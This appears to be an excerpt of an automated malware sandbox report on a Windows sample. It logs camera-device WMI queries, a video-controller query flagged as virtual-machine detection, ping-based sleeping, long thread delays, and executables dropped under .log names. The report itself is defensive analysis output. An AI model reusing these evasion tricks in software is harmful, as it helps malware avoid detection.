Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Memory allocated: 1150000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Memory allocated: 1AEC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Memory allocated: 1260000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Memory allocated: 1AF40000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\lEwK4xROgV.exe

Code function: 0_2_00007FFD9BAA4B28 sldt word ptr [eax]

0_2_00007FFD9BAA4B28

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 600000
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 599873
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 599757
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 599641
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 599521
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 599383
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 599239
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 3600000
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 599031
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 598344
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 597813
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 597281
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 596844
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 596344
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 596063
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 595828
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 595485
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 594969
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 594727
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 594281
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 594031
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 593766
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 593469
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 593218
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 592813
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 592469
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 592188
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 591688
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 591281
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 590813
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 590485
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 590078
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 589672
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 589250
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 588938
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 588624
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 588078
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 587703
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 300000
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 587313
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 586875
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 586544
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 586000
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 585731
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 585219
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 584848
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 584648
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 584469
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 584300
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 584114
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 583964
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 583766
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 583578
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 583406
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 583266
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 583050
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 582879
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 582710
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 582516
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 582344
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 582156
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 581977
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 581828
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 581685
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 581500
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 581325
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 581184
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 581057
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 580950
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 580828
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 580719
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 580609
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 580498
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 580375
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 580188
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 580059
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 579934
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 579735
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 579474
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 579235
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 579017
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 578844
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 578703
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 578532
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 578378
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 578250
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 578141
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 578031
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 577922
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 577813
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 577693
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 577577
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 577453
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 577344
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 577233

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3402	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2669	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2935	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4239
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4128
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Window / User API: threadDelayed 6165
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Window / User API: threadDelayed 3257

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\PmOjGTOT.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\AGJFDLPU.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\kGnywIde.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ojlgiVNo.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YHzZGaLE.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\bCsHMMhI.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\fsiyTJhB.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\evHqyJTG.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\kokPbpXu.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zPgEnxiR.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rURxpiYh.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\MBiTzGEa.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rlYPDESj.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hlxhFGTz.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lpgghmkb.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\Mjflenyr.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LsClOaRo.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WghbylMW.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LEHLeGpf.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\GFkmldBA.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ucOGKASd.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\gTVzTLOq.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\uXAwROpJ.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OpmblTzY.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\gBOhFpUn.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\CJjVexLG.log	Jump to dropped file
